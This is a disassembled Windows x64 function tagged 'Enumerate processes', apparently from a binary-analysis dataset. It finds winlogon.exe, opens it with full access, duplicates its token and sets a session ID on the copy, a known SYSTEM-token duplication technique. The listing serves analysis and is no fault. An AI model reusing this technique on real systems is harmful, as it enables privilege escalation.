Function at 0x14002bf90
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xc0]
sub rsp, 0x1c0
mov rax, qword [0x1401ef010]
xor rax, rsp
mov qword [rbp + 0xb0], rax
mov dword [rsp + 0x40], edx
mov rsi, rcx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x44], edx
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov ebx, 0xffffffff
xor edi, edi
mov qword [rsp + 0x58], rdi
lea rcx, str.wtsapi32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r13, rax
mov qword [rsp + 0x60], rax
test rax, rax
je 0x14002c028
lea rdx, str.WTSEnumerateProcessesA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rsp + 0x58], rax
xor r12d, r12d
mov qword [rsp + 0x68], r12
lea rcx, str.wtsapi32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
mov qword [rsp + 0x70], rax
test rax, rax
je 0x14002c062
lea rdx, [0x1401c7818]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov qword [rsp + 0x68], rax
test rdi, rdi
je 0x14002c0ea
test r12, r12
je 0x14002c0ea
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x38]
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
call rdi
test eax, eax
je 0x14002c0ea
xor edi, edi
mov rcx, qword [rsp + 0x38]
cmp dword [rsp + 0x30], edi
jbe 0x14002c0e6
nop word [rax + rax]
lea rax, [rdi + rdi*2]
lea rsi, [rax*8]
lea rdx, str.winlogon.exe
mov rcx, qword [rsi + rcx + 8]
call fcn.140149a68
mov rcx, qword [rsp + 0x38]
test eax, eax
jne 0x14002c0cf
mov eax, dword [rsp + 0x40]
cmp eax, dword [rsi + rcx]
je 0x14002c0d9
inc edi
cmp edi, dword [rsp + 0x30]
jae 0x14002c0e1
jmp 0x14002c0a0
lea rax, [rdi + rdi*2]
mov ebx, dword [rcx + rax*8 + 4]
mov rsi, qword [rsp + 0x50]
call r12
nop
test r15, r15
je 0x14002c0f9
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
test r13, r13
je 0x14002c108
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
cmp ebx, 0xffffffff
jne 0x14002c179
xor ebx, ebx
xor edx, edx
lea ecx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14002c179
mov dword [rbp - 0x80], 0x130
lea rdx, [rbp - 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x14002c16c
lea rdx, str.winlogon.exe
lea rcx, [rbp - 0x54]
call fcn.140149a68
test eax, eax
cmove ebx, dword [rbp - 0x78]
cmp byte [0x1401f2b0f], 0
jne 0x14002c170
lea rdx, [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14002c140
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14002c1fa
lea r8, [rsp + 0x48]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0xf01ff
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov ebx, eax
mov r9d, 4
lea r8, [rsp + 0x44]
lea edx, [r9 + 8]
mov rcx, qword [rsi]
call qword [sym.imp.ADVAPI32.dll_SetTokenInformation]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rbp + 0xb0]
xor rcx, rsp
call fcn.1401312e0
mov rbx, qword [rsp + 0x210]
add rsp, 0x1c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret